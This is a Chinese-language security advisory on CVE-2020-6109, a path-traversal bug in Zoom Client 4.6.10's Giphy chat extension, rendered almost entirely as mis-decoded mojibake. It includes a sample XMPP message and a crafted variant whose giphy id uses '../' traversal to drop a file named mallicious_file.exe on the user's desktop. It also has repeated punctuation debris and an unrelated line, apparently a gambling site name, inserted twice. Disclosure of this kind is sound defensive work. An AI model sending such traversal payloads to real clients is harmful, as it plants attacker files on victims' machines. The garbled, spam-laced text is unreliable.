CVE-2020-6109 | ZOOM¿Í»§¶Ë·¾¶±éÀúÎó²îͨ¸æ

Ðû²¼Ê±¼ä 2020-06-05

0x00 Îó²î¸ÅÊö



CVE   ID

CVE-2020-6109

ʱ    ¼ä

2020-06-04

Àà    ÐÍ

DT

µÈ    ¼¶

¸ßΣ

Ô¶³ÌʹÓÃ

ÊÇ

Ó°Ïì¹æÄ£

Zoom Client 4.6.10


0x01 Îó²îÏêÇé


¿­Ê±K66¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾



Zoom ClientÊÇÃÀ¹úZoom¹«Ë¾µÄÒ»¿îÖ§³Ö¶àÖÖÆ½Ì¨µÄÊÓÆµ¾Û»á¿Í»§¶ËÓ¦ÓóÌÐò ¡£¡£¡£¡£ ¡£ ¡£


CVE-2020-6109ÔÚZoom Client°æ±¾4.6.10Öб£´æ¿ÉʹÓõÄ·¾¶±éÀúÎó²î£¬£¬£¬£¬£¬£¬¸ÃÎó²îÔÚ´¦Öóͷ£°üÀ¨¶¯»­GIFµÄÐÂÎÅʱ ¡£¡£¡£¡£ ¡£ ¡£ÌØÖƵÄ̸ÌìÐÂÎÅ¿ÉÄܵ¼ÖÂí§ÒâÎļþдÈ룬£¬£¬£¬£¬£¬¿ÉÄÜ»á½øÒ»²½ÀÄÓøÃÎļþÒÔʵÏÖí§Òâ´úÂëÖ´ÐÐ ¡£¡£¡£¡£ ¡£ ¡£¹¥»÷ÕßÐèÒªÏòÄ¿µÄÓû§»ò×é·¢ËÍÌØÖÆÐÂÎŲŻª´¥·¢´ËÎó²î ¡£¡£¡£¡£ ¡£ ¡£


ZoomµÄ̸Ì칦Ч½¨ÉèÔÚXMPP±ê×¼µÄ»ù´¡ÉÏ£¬£¬£¬£¬£¬£¬²¢¾ßÓÐÖ§³ÖÆäËûÀ©Õ¹¹¦Ð§ ¡£¡£¡£¡£ ¡£ ¡£ÕâЩÀ©Õ¹Ö®Ò»Ö§³ÖÔÚ̸ÌìÖаüÀ¨¶¯»­GIFÐÂÎŵĹ¦Ð§ ¡£¡£¡£¡£ ¡£ ¡£Ìṩ´Ë¹¦Ð§²¢ÒÀÀµGiphyЧÀÍ ¡£¡£¡£¡£ ¡£ ¡£µ±¿Í»§¶ËÊÕµ½´øÓдËgiphyÀ©Õ¹ÃûµÄXMPPÐÂÎÅʱ£¬£¬£¬£¬£¬£¬½«Ö¸Ê¾Æä»á¼ûÖ¸¶¨µÄHTTP URL²¢»ñÈ¡GIFÎļþ·¢Ë͸øÓû§ ¡£¡£¡£¡£ ¡£ ¡£´ËÀàXMPPÐÂÎŵÄʾÀýÈçÏ£º


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

       <giphy id='filename' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


ÉÏÃæµÄXML´úÂëÖÐÓÐÁ½¸öÖµÐèÒª¹Ø×¢ ¡£¡£¡£¡£ ¡£ ¡£Ê×ÏÈ£¬£¬£¬£¬£¬£¬¸Ãgiphy±êÇ©°üÀ¨Èý¸öÄ¿µÄURL£¬£¬£¬£¬£¬£¬ÕâЩURLÓ¦¸ÃÖ¸ÏòGiphyµÄЧÀÍÆ÷ ¡£¡£¡£¡£ ¡£ ¡£¼ò¶ÌµÄ²âÊÔÅú×¢£¬£¬£¬£¬£¬£¬Ã»ÓÐÖ´ÐÐÄ¿µÄURLµÄÑéÖ¤£¬£¬£¬£¬£¬£¬²¢ÇÒ¿Í»§¶Ë½«×ñÕÕÖ¸¶¨µÄURL£¬£¬£¬£¬£¬£¬°üÀ¨í§ÒâЧÀÍÆ÷ ¡£¡£¡£¡£ ¡£ ¡£Ö¸¶¨×Ô½ç˵URLʱ£¬£¬£¬£¬£¬£¬¿ÉÒÔÊӲ쵽À´×Ô¿Í»§¶ËµÄHTTPÅþÁ¬£º


GET /test.gif HTTP/1.1

Host: example.com

User-Agent: Mozilla/5.0 (ZOOM.Mac 10.14.6 x86)

Accept: */*

Cookie: srid=SaaSbeeTestMode00123578;

ZM-CAP: 2535978022733895607,164

ZM-PROP: Mac.Zoom

ZM-NSGN:2,zVM1hmoFnK2kx8t/KEifN7IAXRSE/CnqolsM0zV6ess=,1586812854000


Ó¦¸ÃÖ¸³öµÄÊÇ£¬£¬£¬£¬£¬£¬Ö»¹ÜÒÔÉÏÇëÇóÖÐûÓÐÑéÖ¤cookie£¬£¬£¬£¬£¬£¬µ«ÈÔÓÐ×ã¹»µÄÐÅϢй¶Ψһ±êʶµÄ¿Í»§¶Ë ¡£¡£¡£¡£ ¡£ ¡£±êÍ·ZM-NSGN°üÀ¨¾­ÓɹþÏ£´¦Öóͷ£ºÍ±àÂëµÄΨһ¿Í»§¶Ë×°±¸ID ¡£¡£¡£¡£ ¡£ ¡£


²âÊÔ·¢Ã÷×ÝÈ»giphyÀ©Õ¹Ãû½öÏÔʾGIFͼÏñ£¬£¬£¬£¬£¬£¬ËüÒ²½«ÇáËÉÏÔʾºÍÔ¤ÀÀÆäËûͼÏñÀàÐÍ ¡£¡£¡£¡£ ¡£ ¡£Õâ°üÀ¨PNGºÍJPEGÎļþÃûÌà ¡£¡£¡£¡£ ¡£ ¡£


´ËÐÂÎÅXML´úÂëÖеĵڶþ¼þÓÐȤµÄÊÂÊÇ£¬£¬£¬£¬£¬£¬±ê¼ÇµÄidÊôÐÔgiphyÖ±½ÓÓë¿Í»§¶Ë»º±£´æ´ÅÅÌÉϵÄͼÏñÎļþÃûÏà¹ØÁª ¡£¡£¡£¡£ ¡£ ¡£»£»£»£»£»£»£»»¾ä»°Ëµ£¬£¬£¬£¬£¬£¬¿Í»§¶ËÓ¦ÓóÌÐò½«Ê¹ÓôËÖ¸¶¨µÄID½«ÎļþÉúÑĵ½´ÅÅÌÒÔ¹©Î´À´ÏÔʾ ¡£¡£¡£¡£ ¡£ ¡£¿£¿£¿£¿£¿£¿£¿ÉÒÔÌṩí§ÒâÎļþÃû£¬£¬£¬£¬£¬£¬²¢ÇÒÎļþ½«´æ´¢ÔÚdataZoom×°ÖÃĿ¼ÏÂĿ¼ÖеĿÉÕ¹ÍûλÖà ¡£¡£¡£¡£ ¡£ ¡£


ÕæÕýµÄÎó²îÔÚÓÚÕâÑùµÄÇéÐΣ¬£¬£¬£¬£¬£¬¼´ÎļþÃûûÓÐÒÔÈκη½·¨É¾³ý£¬£¬£¬£¬£¬£¬²¢ÔÊÐíĿ¼±éÀú ¡£¡£¡£¡£ ¡£ ¡£ÕâÒâζ×űê¼ÇµÄÌØÖÆidÊôÐÔgiphy¿ÉÒÔ°üÀ¨Ò»¸öÌØÊâÎļþ·¾¶£¬£¬£¬£¬£¬£¬¸Ã·¾¶½«ÔÚZoomµÄ×°ÖÃĿ¼֮Íâ²¢ÇÒÏÖʵÉÏÔÚÄ¿½ñÓû§¿ÉдµÄÈκÎĿ¼ÖÐдÈëÎļþ ¡£¡£¡£¡£ ¡£ ¡£ÒÔÏÂÐ޸ĵÄmessage˵Ã÷ÎúÕâÖÖ¿ÉÄÜÐÔ£º


<message from='source@xmpp.zoom.us' to='destination@xmpp.zoom.us' id='random' type='chat'>

   <body>User Name sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download</body>

   <thread>RANDOM</thread>

   <active xmlns='http://jabber.org/protocol/chatstates'/>

   <sns>

       <format>%1$@ sent you a picture</format>

       <args>

           <arg>User Name</arg>

       </args>

   </sns>

   <giphy id='../../../../../../Desktop/mallicious_file.exe' url='image_url' tags='congrats'>

           <pcInfo url='image_url_for_pc_display' size='10'/>

           <mobileInfo url='image_url_for_mobile_display' size='10'/>

           <bigPicInfo url='image_url_for_full_size_display' size='10'/>

       </giphy>

       <zmext expire_t='timestamp' prev='timestamp' t='timestamp'>

           <from n='User Name' e='email' res='ZoomChat_pc'/>

           <to/>

           <visible>true</visible>

           <msg_feature>0</msg_feature>

       </zmext>

</message>


Zoom¿Í»§¶Ë»á½«×Ö·û´®¸½¼Ó_BigPic.gifµ½Ö¸¶¨µÄÎļþÃûÕâÒ»ÊÂʵ¿ÉÒÔ²¿·Ö»º½â´ËÎó²î ¡£¡£¡£¡£ ¡£ ¡£ÕâÑù¿ÉÒÔ±ÜÃâ¹¥»÷Õß½¨Éè¾ßÓÐí§ÒâÀ©Õ¹ÃûµÄ¿ÉÍêÈ«¿ØÖƵÄÎļþ ¡£¡£¡£¡£ ¡£ ¡£ÈôÊǹ¥»÷ÕßÑ¡ÔñÁË.gifÀ©Õ¹Ãû£¬£¬£¬£¬£¬£¬ÒÔÉÏÄÚÈÝÈÔ½«Ê¹ÓÃÎļþÃû½«í§ÒâÄÚÈݵÄÎļþ°²Åŵ½Ä¿½ñÓû§µÄ×ÀÃæÉÏ ¡£¡£¡£¡£ ¡£ ¡£ÎļþµÄÄÚÈݲ»µ«ÏÞÓÚͼÏñ£¬£¬£¬£¬£¬£¬»¹¿ÉÄܰüÀ¨¿ÉÖ´ÐдúÂë»ò¾ç±¾£¬£¬£¬£¬£¬£¬ÕâЩ´úÂë»ò¾ç±¾¿ÉÄܱ»ÀÄÓÃÒÔ×ÊÖúʹÓÃÁíÒ»¸öÎó²î ¡£¡£¡£¡£ ¡£ ¡£

±ðµÄ¿ÉÄÜ»áÔÚWindowsϵͳÉϽ¨Éè¿ÕÎļþµÄí§ÒâÀ©Õ¹Ãû ¡£¡£¡£¡£ ¡£ ¡£


0x02 ´¦Öóͷ£½¨Òé


ÏÖÔÚ³§ÉÌÒÑÐû²¼4.6.12°æ±¾ÒÔÐÞ¸´Îó²î£¬£¬£¬£¬£¬£¬ÏÂÔØµØµã£º

https://zoom.us/


0x03 Ïà¹ØÐÂÎÅ


https://securityaffairs.co/wordpress/104249/hacking/zoom-security-flaws.html


0x04 ²Î¿¼Á´½Ó


https://talosintelligence.com/vulnerability_reports/TALOS-2020-1055


0x05 ʱ¼äÏß


2020-04-16 Ñо¿Ö°Ô±Åû¶

2020-06-04 VSRCÐû²¼Îó²îͨ¸æ


¿­Ê±K66¡¤(ÖйúÇø)¹Ù·½ÍøÕ¾